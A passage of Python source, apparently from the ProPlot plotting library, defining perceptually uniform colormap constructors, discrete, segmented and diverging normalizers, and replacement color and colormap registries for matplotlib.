ListedColormap.copy\n LinearSegmentedColormap.copy\n \"\"\"\n if name is None:\n name = self.name + '_copy'\n if segmentdata is None:\n segmentdata = self._segmentdata.copy()\n if space is None:\n space = self._space\n if clip is None:\n clip = self._clip\n if gamma is not None:\n gamma1 = gamma2 = gamma\n if gamma1 is None:\n gamma1 = self._gamma1\n if gamma2 is None:\n gamma2 = self._gamma2\n if cyclic is None:\n cyclic = self._cyclic\n if N is None:\n N = self.N\n cmap = PerceptuallyUniformColormap(\n name, segmentdata, N,\n alpha=alpha, clip=clip, cyclic=cyclic,\n gamma1=gamma1, gamma2=gamma2, space=space\n )\n cmap._rgba_bad = self._rgba_bad\n cmap._rgba_under = self._rgba_under\n cmap._rgba_over = self._rgba_over\n return cmap\n\n def to_linear_segmented(self, name=None, **kwargs):\n \"\"\"\n Convert the `PerceptuallyUniformColormap` to a standard\n `LinearSegmentedColormap`. This is used to merge such colormaps.\n\n Parameters\n ----------\n name : str, optional\n The name of the new colormap. Default is ``self.name + '_copy'``.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `LinearSegmentedColormap`.\n\n See also\n --------\n ListedColormap.to_listed\n \"\"\"\n if not self._isinit:\n self._init()\n if name is None:\n name = self.name + '_copy'\n return LinearSegmentedColormap.from_list(name, self._lut[:-3, :], **kwargs)\n\n @classmethod\n @warnings._rename_kwargs('0.7', shade='luminance')\n def from_color(cls, name, color, *, space='hsl', **kwargs):\n \"\"\"\n Return a simple monochromatic \"sequential\" colormap that blends from white\n or near-white to the input color.\n\n Parameters\n ----------\n name : str, optional\n The colormap name.\n color : color-spec\n RGB tuple, hex string, or named color string.\n l, s, a, c\n Shorthands for `luminance`, `saturation`, `alpha`, and `chroma`.\n luminance : float or channel-spec, optional\n If float, this is the luminance channel strength on the left-hand\n side of the colormap (default is ``100``). If RGB[A] tuple, hex string,\n or named color string, the luminance is inferred from the color.\n saturation, alpha : float or channel-spec, optional\n As with `luminance`, except the default `saturation` and the default\n `alpha` are the channel values taken from `color`.\n chroma\n Alias for `saturation`.\n space : {'hsl', 'hpl', 'hcl'}, optional\n The colorspace in which luminance and/or saturation are varied.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `PerceptuallyUniformColormap.from_hsl`.\n\n Returns\n -------\n `PerceptuallyUniformColormap`\n The colormap.\n\n See also\n --------\n PerceptuallyUniformColormap.from_hsl\n PerceptuallyUniformColormap.from_list\n \"\"\"\n props = _pop_props(kwargs, 'hsla')\n if props.get('hue', None) is not None:\n raise TypeError(\"from_color() got an unexpected keyword argument 'hue'\")\n hue, saturation, luminance, alpha = to_xyza(color, space)\n alpha_fade = props.pop('alpha', 1)\n luminance_fade = props.pop('luminance', 100)\n saturation_fade = props.pop('saturation', saturation)\n return cls.from_hsl(\n name, hue=hue, space=space,\n alpha=(alpha_fade, alpha),\n saturation=(saturation_fade, saturation),\n luminance=(luminance_fade, luminance),\n **kwargs\n )\n\n @classmethod\n def from_hsl(cls, name, *, ratios=None, **kwargs):\n \"\"\"\n Make a `~PerceptuallyUniformColormap` by specifying the hue,\n saturation, and luminance transitions individually.\n\n Parameters\n ----------\n name : str\n The colormap name.\n h, s, l, a, c\n Shorthands for `hue`, `saturation`, `luminance`, `alpha`, and `chroma`.\n hue : float, color-spec, or list thereof, optional\n Hue channel value or list of values. The shorthand keyword `h`\n is also acceptable. Values can be any of the following.\n\n 1. Numbers, within the range 0 to 360 for hue and 0 to 100 for\n saturation and luminance.\n 2. Color string names or hex strings, in which case the channel\n value for that color is looked up.\n\n If scalar, the hue does not change across the colormap.\n Default is ``0`` (i.e., red).\n saturation, luminance, alpha : float, color-spec, or list thereof, optional\n As with `hue`, but for the saturation, luminance, and alpha (opacity)\n channels, respectively. The default `saturation` is ``50``, luminance is\n ``(100, 20)``, and alpha is ``1`` (i.e., no transparency).\n chroma\n Alias for `saturation`.\n ratios : list of float, optional\n Relative extents of each color transition. Must have length\n ``len(colors) - 1``. Larger numbers indicate a slower\n transition, smaller numbers indicate a faster transition.\n\n For example, ``luminance=(100, 50, 0)`` with ``ratios=(2, 1)``\n results in a colormap with the transition from luminance ``100``\n to ``50`` taking *twice as long* as the transition from luminance\n ``50`` to ``0``.\n space : {'hsl', 'hpl', 'hcl'}, optional\n The colorspace in which hue, luminance, and/or saturation are varied.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `PerceptuallyUniformColormap`.\n\n Returns\n -------\n `PerceptuallyUniformColormap`\n The colormap.\n\n See also\n --------\n PerceptuallyUniformColormap.from_color\n PerceptuallyUniformColormap.from_list\n \"\"\"\n cdict = {}\n props = _pop_props(kwargs, 'hsla')\n for key, default in (\n ('hue', 0),\n ('saturation', 100),\n ('luminance', (100, 20)),\n ('alpha', 1),\n ):\n value = props.pop(key, default)\n cdict[key] = _make_segment_data(value, ratios=ratios)\n return cls(name, cdict, **kwargs)\n\n @classmethod\n def from_list(cls, name, colors, ratios=None, **kwargs):\n \"\"\"\n Make a `PerceptuallyUniformColormap` from a list of colors.\n\n Parameters\n ----------\n name : str\n The colormap name.\n colors : list of color-spec or (float, color-spec) tuples, optional\n If list of RGB[A] tuples or color strings, the colormap transitions\n evenly from ``colors[0]`` at the left-hand side to\n ``colors[-1]`` at the right-hand side.\n\n If list of (float, color-spec) tuples, the float values are the\n coordinate of each transition and must range from 0 to 1. This\n can be used to divide the colormap range unevenly.\n ratios : list of float, optional\n Relative extents of each color transition. Must have length\n ``len(colors) - 1``. Larger numbers indicate a slower\n transition, smaller numbers indicate a faster transition.\n\n For example, ``red=(1, 0.5, 0)`` with ``ratios=(2, 1)``\n results in a colormap with the transition from red ``1``\n to ``0.5`` taking *twice as long* as the transition from red\n ``0.5`` to ``0``.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `PerceptuallyUniformColormap`.\n\n Returns\n -------\n `PerceptuallyUniformColormap`\n The colormap.\n\n See also\n --------\n matplotlib.colors.LinearSegmentedColormap.from_list\n LinearSegmentedColormap.from_list\n PerceptuallyUniformColormap.from_color\n PerceptuallyUniformColormap.from_hsl\n \"\"\"\n # Get coordinates\n coords = None\n space = kwargs.get('space', 'hsl') # use the builtin default\n if not np.iterable(colors):\n raise ValueError(f'Colors must be iterable, got colors={colors!r}')\n if (\n np.iterable(colors[0]) and len(colors[0]) == 2\n and not isinstance(colors[0], str)\n ):\n coords, colors = zip(*colors)\n colors = [to_xyza(color, space) for color in colors]\n\n # Build segmentdata\n keys = ('hue', 'saturation', 'luminance', 'alpha')\n cdict = {}\n for key, values in zip(keys, zip(*colors)):\n cdict[key] = _make_segment_data(values, coords, ratios)\n return cls(name, cdict, **kwargs)\n\n\ndef _check_levels(levels, allow_descending=True):\n \"\"\"\n Ensure the levels are monotonic. If they are descending, either\n reverse them or raise an error.\n \"\"\"\n levels = np.atleast_1d(levels)\n if levels.ndim != 1 or levels.size < 2:\n raise ValueError(f'Levels {levels} must be 1d vector with size >= 2.')\n if isinstance(levels, ma.core.MaskedArray):\n levels = levels.filled(np.nan)\n if not np.all(np.isfinite(levels)):\n raise ValueError(f'Levels {levels} contain invalid values.')\n diffs = np.sign(np.diff(levels))\n if all(diffs == 1):\n descending = False\n elif all(diffs == -1) and allow_descending:\n levels = levels[::-1]\n descending = True\n elif allow_descending:\n raise ValueError(f'Levels {levels} must be monotonic.')\n else:\n raise ValueError(f'Levels {levels} must be monotonically increasing.')\n return levels, descending\n\n\ndef _interpolate_basic(x, x0, x1, y0, y1):\n \"\"\"\n Basic interpolation between pairs of fixed points.\n \"\"\"\n return y0 + (y1 - y0) * (x - x0) / (x1 - x0)\n\n\ndef _interpolate_extrapolate(xq, x, y):\n \"\"\"\n Efficient vectorized linear interpolation. Similar to `numpy.interp`\n except this does not truncate out-of-bounds values (i.e. is reversible).\n \"\"\"\n # Follow example of _make_lookup_table for efficient, vectorized\n # linear interpolation across multiple segments.\n # * Normal test puts values at a[i] if a[i-1] < v <= a[i]; for\n # left-most data, satisfy a[0] <= v <= a[1]\n # * searchsorted gives where xq[i] must be inserted so it is larger\n # than x[ind[i]-1] but smaller than x[ind[i]]\n # yq = ma.masked_array(np.interp(xq, x, y), mask=ma.getmask(xq))\n x = np.asarray(x)\n y = np.asarray(y)\n xq = np.atleast_1d(xq)\n idx = np.searchsorted(x, xq)\n idx[idx == 0] = 1 # get normed value <0\n idx[idx == len(x)] = len(x) - 1 # get normed value >0\n distance = (xq - x[idx - 1]) / (x[idx] - x[idx - 1])\n yq = distance * (y[idx] - y[idx - 1]) + y[idx - 1]\n yq = ma.masked_array(yq, mask=ma.getmask(xq))\n return yq\n\n\nclass DiscreteNorm(mcolors.BoundaryNorm):\n \"\"\"\n Meta-normalizer that discretizes the possible color values returned by\n arbitrary continuous normalizers given a list of level boundaries. This\n is applied to all colormap plots in ProPlot.\n \"\"\"\n # See this post: https://stackoverflow.com/a/48614231/4970632\n # WARNING: Must be child of BoundaryNorm. Many methods in ColorBarBase\n # test for class membership, crucially including _process_values(), which\n # if it doesn't detect BoundaryNorm will try to use DiscreteNorm.inverse().\n @warnings._rename_kwargs('0.7', extend='unique')\n def __init__(\n self, levels, norm=None, cmap=None,\n unique=None, step=None, clip=False, descending=False,\n ):\n \"\"\"\n Parameters\n ----------\n levels : list of float\n The level boundaries.\n norm : `~matplotlib.colors.Normalize`, optional\n The normalizer used to transform `levels` and all data passed\n to `~DiscreteNorm.__call__` before discretization. The ``vmin``\n and ``vmax`` of the normalizer are set to the minimum and\n maximum values in `levels`.\n cmap : `matplotlib.colors.Colormap`, optional\n The colormap associated with this normalizer. This is used to\n apply default `unique` and `step` settings depending on whether the\n colormap is cyclic and whether distinct \"extreme\" colors have been\n designated with `~matplotlib.colors.Colormap.set_under` and/or\n `~matplotlib.colors.Colormap.set_over`.\n unique : {'neither', 'both', 'min', 'max'}, optional\n Which out-of-bounds regions should be assigned unique colormap\n colors. The normalizer needs this information so it can ensure\n the colorbar always spans the full range of colormap colors.\n step : float, optional\n The intensity of the transition to out-of-bounds colors as a\n fraction of the adjacent step between in-bounds colors.\n Default is ``1``.\n clip : bool, optional\n Whether to clip values falling outside of the level bins. This\n only has an effect on lower colors when unique is\n ``'min'`` or ``'both'``, and on upper colors when unique is\n ``'max'`` or ``'both'``.\n descending : bool, optional\n Whether the levels are meant to be descending. This will cause\n the colorbar axis to be reversed when it is drawn with a\n `~matplotlib.cm.ScalarMappable` that uses this normalizer.\n\n Note\n ----\n This normalizer also makes sure that levels always span the full range\n of colors in the colormap, whether `extend` is set to ``'min'``, ``'max'``,\n ``'neither'``, or ``'both'``. By default, when `extend` is not ``'both'``,\n matplotlib cuts off the most intense colors (reserved for \"out of bounds\"\n data), even though they are not being used. Note that this means\n using a diverging colormap with ``extend='max'`` or ``extend='min'``\n will shift the central color. But that is very strange usage anyway...\n so please just don't do that :)\n\n See also\n --------\n proplot.axes.apply_cmap\n proplot.constructor.Norm\n \"\"\"\n # Special properties specific to colormap type\n if cmap is not None:\n over = cmap._rgba_over\n under = cmap._rgba_under\n cyclic = getattr(cmap, '_cyclic', None)\n if cyclic:\n # *Scale bins* as if extend='both' to omit end colors\n step = 0.5\n unique = 'both'\n\n else:\n # *Scale bins* as if unique='neither' because there may be *discrete\n # change* between minimum color and out-of-bounds colors.\n if over is not None and under is not None:\n unique = 'both'\n elif over is not None:\n # Turn off unique bin for over-bounds colors\n if unique == 'both':\n unique = 'min'\n elif unique == 'max':\n unique = 'neither'\n elif under is not None:\n # Turn off unique bin for under-bounds colors\n if unique == 'both':\n unique = 'min'\n elif unique == 'max':\n unique = 'neither'\n\n # Validate input arguments\n # NOTE: This must be a subclass BoundaryNorm, so ColorbarBase will\n # detect it... even though we completely override it.\n if not norm:\n norm = mcolors.Normalize()\n elif isinstance(norm, mcolors.BoundaryNorm):\n raise ValueError('Normalizer cannot be instance of BoundaryNorm.')\n elif not isinstance(norm, mcolors.Normalize):\n raise ValueError('Normalizer must be instance of Normalize.')\n if unique is None:\n unique = 'neither'\n uniques = ('both', 'min', 'max', 'neither')\n if unique not in uniques:\n raise ValueError(\n f'Unknown unique option {unique!r}. Options are: '\n + ', '.join(map(repr, uniques)) + '.'\n )\n\n # Ensure monotonically increasing levels\n levels, _ = _check_levels(levels, allow_descending=False)\n bins, _ = _check_levels(norm(levels), allow_descending=False)\n self.N = levels.size\n self.clip = clip\n self.boundaries = levels\n self.vmin = norm.vmin = vmin = np.min(levels)\n self.vmax = norm.vmax = vmax = np.max(levels)\n vcenter = getattr(norm, 'vcenter', None)\n\n # Get color coordinates corresponding to each bin, plus extra\n # 2 color coordinates for out-of-bounds color bins.\n # For *same* out-of-bounds colors, looks like [0, 0, ..., 1, 1]\n # For *unique* out-of-bounds colors, looks like [0, X, ..., 1 - X, 1]\n # NOTE: Ensure out-of-bounds bin values correspond to out-of-bounds\n # coordinate in case user used set_under or set_over to apply discrete\n # change. See lukelbd/proplot#190\n # NOTE: Critical that we scale the bin centers in \"physical space\"\n # and *then* translate to color coordinates so that nonlinearities in\n # the normalization stay intact. If we scaled the bin centers in\n # *normalized space* to have minimum 0 maximum 1, would mess up\n # color distribution. However this is still not perfect... get\n # asymmetric color intensity either side of central point. So add\n # special handling for diverging norms below to improve symmetry.\n mids = np.zeros((levels.size + 1,))\n mids[1:-1] = 0.5 * (levels[1:] + levels[:-1])\n mids[0], mids[-1] = mids[1], mids[-2]\n if step is None:\n step = 1.0\n if unique in ('min', 'both'):\n mids[0] += step * (mids[1] - mids[2])\n if unique in ('max', 'both'):\n mids[-1] += step * (mids[-2] - mids[-3])\n if vcenter is None:\n mids = _interpolate_basic(\n mids, np.min(mids), np.max(mids), vmin, vmax\n )\n else:\n mids = mids.copy()\n mids[mids < vcenter] = _interpolate_basic(\n mids[mids < vcenter], np.min(mids), vcenter, vmin, vcenter,\n )\n mids[mids >= vcenter] = _interpolate_basic(\n mids[mids >= vcenter], vcenter, np.max(mids), vcenter, vmax,\n )\n eps = 1e-10 # mids and dest are numpy.float64\n dest = norm(mids)\n dest[0] -= eps\n dest[-1] += eps\n\n # Attributes\n # NOTE: If clip is True, we clip values to the centers of the end\n # bins rather than vmin/vmax to prevent out-of-bounds colors from\n # getting an in-bounds bin color due to landing on a bin edge.\n # NOTE: With unique='min' the minimimum in-bounds and out-of-bounds\n # colors are the same so clip=True will have no effect. Same goes\n # for unique='max' with maximum colors.\n # WARNING: For some reason must clip manually for LogNorm, or\n # end up with unpredictable fill value, weird \"out-of-bounds\" colors\n self._bmin = np.min(mids)\n self._bmax = np.max(mids)\n self._bins = bins\n self._dest = dest\n self._norm = norm\n self._norm_clip = None\n self._descending = descending\n if isinstance(norm, mcolors.LogNorm):\n self._norm_clip = (5e-249, None)\n\n def __call__(self, value, clip=None):\n \"\"\"\n Normalize data values to 0-1.\n\n Parameters\n ----------\n value : numeric\n The data to be normalized.\n clip : bool, optional\n Whether to clip values falling outside of the level bins.\n Default is ``self.clip``.\n \"\"\"\n # Follow example of LinearSegmentedNorm, but perform no interpolation,\n # just use searchsorted to bin the data.\n norm_clip = self._norm_clip\n if norm_clip: # special extra clipping due to normalizer\n value = np.clip(value, *norm_clip)\n if clip is None: # builtin clipping\n clip = self.clip\n if clip: # note that np.clip can handle masked arrays\n value = np.clip(value, self._bmin, self._bmax)\n xq, is_scalar = self.process_value(value)\n xq = self._norm(xq)\n yq = self._dest[np.searchsorted(self._bins, xq)]\n yq = ma.array(yq, mask=ma.getmask(xq))\n if is_scalar:\n yq = np.atleast_1d(yq)[0]\n return yq\n\n def inverse(self, value): # noqa: U100\n \"\"\"\n Raise an error. Inversion after discretization is impossible.\n \"\"\"\n raise ValueError('DiscreteNorm is not invertible.')\n\n\nclass LinearSegmentedNorm(mcolors.Normalize):\n \"\"\"\n Normalizer that scales data linearly with respect to average *position*\n in an arbitrary monotonically increasing level lists. This is the same\n algorithm used by `~matplotlib.colors.LinearSegmentedColormap` to\n select colors in-between indices in the segment data tables.\n This is the default normalizer paired with `DiscreteNorm` whenever `levels`\n are non-linearly spaced. Can be explicitly used by passing ``norm='segmented'``\n to any command accepting ``cmap``.\n \"\"\"\n def __init__(self, levels, vmin=None, vmax=None, clip=False):\n \"\"\"\n Parameters\n ----------\n levels : list of float\n The level boundaries.\n vmin, vmax : None\n Ignored. `vmin` and `vmax` are set to the minimum and\n maximum of `levels`.\n clip : bool, optional\n Whether to clip values falling outside of the minimum and\n maximum levels.\n\n Example\n -------\n In the below example, unevenly spaced levels are passed to\n `~matplotlib.axes.Axes.contourf`, resulting in the automatic\n application of `LinearSegmentedNorm`.\n\n >>> import proplot as pplt\n >>> import numpy as np\n >>> levels = [1, 2, 5, 10, 20, 50, 100, 200, 500, 1000]\n >>> data = 10 ** (3 * np.random.rand(10, 10))\n >>> fig, ax = pplt.subplots()\n >>> ax.contourf(data, levels=levels)\n \"\"\"\n levels = np.asarray(levels)\n levels, _ = _check_levels(levels, allow_descending=False)\n dest = np.linspace(0, 1, len(levels))\n vmin, vmax = np.min(levels), np.max(levels)\n super().__init__(vmin=vmin, vmax=vmax, clip=clip)\n self._x = levels\n self._y = dest\n\n def __call__(self, value, clip=None):\n \"\"\"\n Normalize the data values to 0-1. Inverse\n of `~LinearSegmentedNorm.inverse`.\n\n Parameters\n ----------\n value : numeric\n The data to be normalized.\n clip : bool, optional\n Whether to clip values falling outside of the minimum and\n maximum levels. Default is ``self.clip``.\n \"\"\"\n if clip is None: # builtin clipping\n clip = self.clip\n if clip: # numpy.clip can handle masked arrays\n value = np.clip(value, self.vmin, self.vmax)\n xq, is_scalar = self.process_value(value)\n yq = _interpolate_extrapolate(xq, self._x, self._y)\n if is_scalar:\n yq = np.atleast_1d(yq)[0]\n return yq\n\n def inverse(self, value):\n \"\"\"\n Inverse operation of `~LinearSegmentedNorm.__call__`.\n\n Parameters\n ----------\n value : numeric\n The data to be un-normalized.\n \"\"\"\n yq, is_scalar = self.process_value(value)\n xq = _interpolate_extrapolate(yq, self._y, self._x)\n if is_scalar:\n xq = np.atleast_1d(xq)[0]\n return xq\n\n\nclass DivergingNorm(mcolors.Normalize):\n \"\"\"\n Normalizer that ensures some central data value lies at the central\n colormap color. The default central value is ``0``. Can be used by\n passing ``norm='diverging'`` to any command accepting ``cmap``.\n \"\"\"\n def __init__(\n self, vcenter=0, vmin=None, vmax=None, fair=True, clip=None\n ):\n \"\"\"\n Parameters\n ----------\n vcenter : float, optional\n The data value corresponding to the central position of the\n colormap. The default is ``0``.\n vmin, vmax : float, optional\n The minimum and maximum data values.\n fair : bool, optional\n If ``True`` (default), the speeds of the color gradations on\n either side of the center point are equal, but colormap colors may\n be omitted. If ``False``, all colormap colors are included, but\n the color gradations on one side may be faster than the other side.\n ``False`` should be used with great care, as it may result in\n a misleading interpretation of your data.\n clip : bool, optional\n Whether to clip values falling outside of `vmin` and `vmax`.\n\n See also\n --------\n proplot.axes.apply_cmap\n proplot.constructor.Norm\n \"\"\"\n # NOTE: This post is an excellent summary of matplotlib's DivergingNorm history:\n # https://github.com/matplotlib/matplotlib/issues/15336#issuecomment-535291287\n # NOTE: This is a stale PR that plans to implement the same features.\n # https://github.com/matplotlib/matplotlib/pull/15333#issuecomment-537545430\n # Since proplot is starting without matplotlib's baggage we can just implement\n # DivergingNorm like they would prefer if they didn't have to worry about\n # confusing users: single class, default \"fair\" scaling that can be turned off.\n super().__init__(vmin, vmax, clip)\n self.vmin = vmin\n self.vmax = vmax\n self.vcenter = vcenter\n self.fair = fair\n\n def __call__(self, value, clip=None):\n \"\"\"\n Normalize data values to 0-1.\n\n Parameters\n ----------\n value : numeric\n The data to be normalized.\n clip : bool, optional\n Whether to clip values falling outside of `vmin` and `vmax`.\n Default is ``self.clip``.\n \"\"\"\n xq, is_scalar = self.process_value(value)\n self.autoscale_None(xq) # sets self.vmin, self.vmax if None\n if clip is None: # builtin clipping\n clip = self.clip\n if clip: # note that np.clip can handle masked arrays\n value = np.clip(value, self.vmin, self.vmax)\n if self.vmin > self.vmax:\n raise ValueError('vmin must be less than or equal to vmax.')\n elif self.vmin == self.vmax:\n x = [self.vmin, self.vmax]\n y = [0.0, 0.0]\n elif self.vcenter >= self.vmax:\n x = [self.vmin, self.vcenter]\n y = [0.0, 0.5]\n elif self.vcenter <= self.vmin:\n x = [self.vcenter, self.vmax]\n y = [0.5, 1.0]\n elif not self.fair:\n x = [self.vmin, self.vcenter, self.vmax]\n y = [0, 0.5, 1.0]\n else:\n offset = max(\n np.abs(self.vcenter - self.vmin),\n np.abs(self.vmax - self.vcenter),\n )\n x = [self.vcenter - offset, self.vcenter + offset]\n y = [0, 1.0]\n yq = _interpolate_extrapolate(xq, x, y)\n if is_scalar:\n yq = np.atleast_1d(yq)[0]\n return yq\n\n def autoscale_None(self, z):\n \"\"\"\n Get vmin and vmax, and then clip at vcenter\n \"\"\"\n super().autoscale_None(z)\n if self.vmin > self.vcenter:\n self.vmin = self.vcenter\n if self.vmax < self.vcenter:\n self.vmax = self.vcenter\n\n\ndef _init_color_database():\n \"\"\"\n Initialize the subclassed database.\n \"\"\"\n if not isinstance(mcolors._colors_full_map, ColorDatabase):\n database = ColorDatabase(mcolors._colors_full_map)\n mcolors._colors_full_map = database\n mcolors.colorConverter.cache = database.cache\n mcolors.colorConverter.colors = database\n\n\nclass _ColorCache(dict):\n \"\"\"\n Replacement for the native color cache.\n \"\"\"\n # Matplotlib 'color' args are passed to to_rgba, which tries to read\n # directly from cache and if that fails, sanitizes input, which raises\n # error on receiving (colormap, idx) tuple. So we *have* to override cache.\n def __getitem__(self, key):\n # Split into RGB tuple and opacity\n # Matplotlib caches colors this way internally\n rgb, alpha = key\n if (\n not isinstance(rgb, str) and np.iterable(rgb) and len(rgb) == 2\n and isinstance(rgb[0], str) and isinstance(rgb[1], Number)\n ):\n # Try to get the colormap\n try:\n cmap = _cmap_database[rgb[0]]\n except (KeyError, TypeError):\n pass\n # Read the colormap value\n else:\n if isinstance(cmap, ListedColormap):\n if not 0 <= rgb[1] < len(cmap.colors):\n raise ValueError(\n f'Color cycle sample for {rgb[0]!r} cycle must be '\n f'between 0 and {len(cmap.colors) - 1}, got {rgb[1]}.'\n )\n rgb = cmap.colors[rgb[1]] # draw from list of colors\n else:\n if not 0 <= rgb[1] <= 1:\n raise ValueError(\n f'Colormap sample for {rgb[0]!r} colormap must be '\n f'between 0 and 1, got {rgb[1]}.'\n )\n rgb = cmap(rgb[1]) # get color selection\n return mcolors.to_rgba(rgb, alpha)\n\n # Proceed as usual\n return super().__getitem__((rgb, alpha))\n\n\nclass ColorDatabase(dict):\n \"\"\"\n Dictionary subclass used to replace the builtin matplotlib color\n database. This allows users to draw colors from named colormaps and color\n cycles for any plotting command that accepts a `color` keyword arg.\n See `~ColorDatabase.cache` for details.\n \"\"\"\n def __init__(self, mapping):\n \"\"\"\n Parameters\n ----------\n mapping : dict-like\n The colors.\n \"\"\"\n super().__init__(mapping)\n self._cache = _ColorCache({})\n\n def __setitem__(self, key, value):\n \"\"\"\n Add a color to the database and clear the cache.\n \"\"\"\n if not isinstance(key, str):\n raise ValueError(f'Invalid color name {key!r}. Must be string.')\n super().__setitem__(key, value)\n self.cache.clear()\n\n def __delitem__(self, key):\n \"\"\"\n Delete a color from the database and clear the cache.\n \"\"\"\n super().__delitem__(key)\n self.cache.clear()\n\n @property\n def cache(self):\n \"\"\"\n A special dictionary subclass capable of retrieving colors\n \"on-the-fly\" from registered colormaps and color cycles.\n\n * For a smooth colormap, usage is e.g. ``color=('Blues', 0.8)``.\n The number is the colormap index, and must be between 0 and 1.\n * For a color cycle, usage is e.g. ``color=('colorblind', 2)``.\n The number is the list index.\n\n These examples work with any matplotlib command that accepts a `color`\n keyword arg.\n \"\"\"\n return self._cache\n\n\ndef _init_cmap_database():\n \"\"\"\n Initialize the subclassed database.\n \"\"\"\n # WARNING: Skip over the matplotlib native duplicate entries\n # with suffixes '_r' and '_shifted'.\n attr = '_cmap_registry' if hasattr(mcm, '_cmap_registry') else 'cmap_d'\n database = getattr(mcm, attr)\n if mcm.get_cmap is not _get_cmap:\n mcm.get_cmap = _get_cmap\n if not isinstance(database, ColormapDatabase):\n database = {\n key: value for key, value in database.items()\n if key[-2:] != '_r' and key[-8:] != '_shifted'\n }\n database = ColormapDatabase(database)\n setattr(mcm, attr, database)\n return database\n\n\ndef _get_cmap(name=None, lut=None):\n \"\"\"\n Return the registered colormap instance.\n\n Parameters\n ----------\n name : `matplotlib.colors.Colormap` or str or None, optional\n If a `~matplotlib.colors.Colormap` instance, it will be returned. Otherwise,\n the name of the registered colormap will be looked up and resampled by `lut`.\n If ``None``, the default colormap :rc:`image.cmap` is returned.\n lut : int or None, optional\n If `name` is not already a `~matplotlib.colors.Colormap` instance\n and `lut` is not None, the colormap will be resampled to have `lut`\n entries in the lookup table.\n \"\"\"\n # Monkey patch for matplotlib `~matplotlib.get_cmap`. Permits case-insensitive\n # search of monkey-patched colormap database (which was broken in v3.2.0).\n if name is None:\n name = rcParams['image.cmap']\n if isinstance(name, mcolors.Colormap):\n return name\n cmap = _cmap_database[name]\n if lut is not None:\n cmap = cmap._resample(lut)\n return cmap\n\n\ndef _to_proplot_colormap(cmap):\n \"\"\"\n Translate the input argument to a ProPlot colormap subclass.\n \"\"\"\n cmap_orig = cmap\n if isinstance(cmap, (ListedColormap, LinearSegmentedColormap)):\n pass\n elif isinstance(cmap, mcolors.LinearSegmentedColormap):\n cmap = LinearSegmentedColormap(\n cmap.name, cmap._segmentdata, cmap.N, cmap._gamma\n )\n elif isinstance(cmap, mcolors.ListedColormap):\n cmap = ListedColormap(\n cmap.colors, cmap.name, cmap.N\n )\n elif isinstance(cmap, mcolors.Colormap): # base class\n pass\n else:\n raise ValueError(\n f'Invalid colormap type {type(cmap).__name__!r}. '\n 'Must be instance of matplotlib.colors.Colormap.'\n )\n cmap._rgba_bad = cmap_orig._rgba_bad\n cmap._rgba_under = cmap_orig._rgba_under\n cmap._rgba_over = cmap_orig._rgba_over\n return cmap\n\n\nclass ColormapDatabase(dict):\n \"\"\"\n Dictionary subclass used to replace the matplotlib\n colormap registry. See `~ColormapDatabase.__getitem__` and\n `~ColormapDatabase.__setitem__` for details.\n \"\"\"\n def __init__(self, kwargs):\n \"\"\"\n Parameters\n ----------\n kwargs : dict-like\n The source dictionary.\n \"\"\"\n for key, value in kwargs.items():\n self.__setitem__(key, value)\n\n def __delitem__(self, key):\n \"\"\"\n Delete the item from the database.\n \"\"\"\n key = self._sanitize_key(key, mirror=True)\n super().__delitem__(key)\n\n def __getitem__(self, key):\n \"\"\"\n Retrieve the colormap associated with the sanitized key name. The\n key name is case insensitive.\n\n * If the key ends in ``'_r'``, the result of ``cmap.reversed()`` is\n returned for the colormap registered under the preceding name.\n * If the key ends in ``'_s'``, the result of ``cmap.shifted(180)`` is\n returned for the colormap registered under the preceding name.\n * Reversed diverging colormaps can be requested with their \"reversed\"\n name -- for example, ``'BuRd'`` is equivalent to ``'RdBu_r'``.\n \"\"\"\n # Deprecate previous names with support for '_r' and '_s' suffixes\n # NOTE: Must search only for case sensitive *capitalized* names or we would\n # helpfully \"redirect\" user to correct cmap when they are trying to generate\n # a monochromatic cmap in Colormap and would disallow some color names.\n test = re.sub(r'(_r(_s)?|_s)?\\Z', '', key, flags=re.IGNORECASE)\n if not super().__contains__(test):\n if test in _cmaps_removed:\n version = _cmaps_removed[test]\n raise ValueError(\n f'ProPlot colormap {key!r} was removed in version {version}.'\n )\n if test in _cmaps_renamed:\n test_new, version = _cmaps_renamed[test]\n warnings._warn_proplot(\n f'Colormap {test!r} was renamed in version {version} and will be '\n f'removed in the next major release. Please use {test_new!r} instead.' # noqa: E501\n )\n key = re.sub(test, test_new, key, flags=re.IGNORECASE)\n\n # Sanitize key and handle suffixes\n key = self._sanitize_key(key, mirror=True)\n shift = key[-2:] == '_s'\n if shift:\n key = key[:-2]\n reverse = key[-2:] == '_r'\n if reverse:\n key = key[:-2]\n\n # Get item and issue nice error message\n try:\n value = super().__getitem__(key) # may raise keyerror\n except KeyError:\n raise KeyError(\n f'Invalid colormap or cycle name {key!r}. Options are: '\n + ', '.join(map(repr, self)) + '.'\n )\n\n # Auto-reverse and auto-shift\n if reverse:\n if hasattr(value, 'reversed'):\n value = value.reversed()\n else:\n raise KeyError(\n f'Item of type {type(value).__name__!r} '\n 'does not have reversed() method.'\n )\n if shift:\n if hasattr(value, 'shifted'):\n value = value.shifted(180)\n else:\n raise KeyError(\n f'Item of type {type(value).__name__!r} '\n 'does not have shifted() method.'\n )\n return value\n\n def __setitem__(self, key, item):\n \"\"\"\n Store the colormap under its lowercase name. If the colormap is\n a matplotlib `~matplotlib.colors.ListedColormap` or\n `~matplotlib.colors.LinearSegmentedColormap`, it is converted to the\n ProPlot `ListedColormap` or `LinearSegmentedColormap` subclass.\n \"\"\"\n if not isinstance(key, str):\n raise KeyError(f'Invalid key {key!r}. Must be string.')\n key = self._sanitize_key(key, mirror=False)\n item = _to_proplot_colormap(item)\n super().__setitem__(key, item)\n\n def __contains__(self, item):\n \"\"\"\n Test for membership using the sanitized colormap name.\n \"\"\"\n try: # by default __contains__ ignores __getitem__ overrides\n self.__getitem__(item)\n return True\n except KeyError:\n return False\n\n def _sanitize_key(self, key, mirror=True):\n \"\"\"\n Return the sanitized colormap name. This is used for lookups *and*\n assignments.\n \"\"\"\n if not isinstance(key, str):\n raise KeyError(f'Invalid key {key!r}. Key must be a string.')\n key = key.lower()\n key = re.sub(r'\\A(grays)(_r(_s)?|_s)?\\Z', r'greys\\2', key)\n reverse = key[-2:] == '_r'\n if reverse:\n key = key[:-2]\n if mirror and not super().__contains__(key): # search for mirrored key\n key_mirror = key\n for pair in CMAPS_DIVERGING:\n try:\n idx = pair.index(key)\n key_mirror = pair[1 - 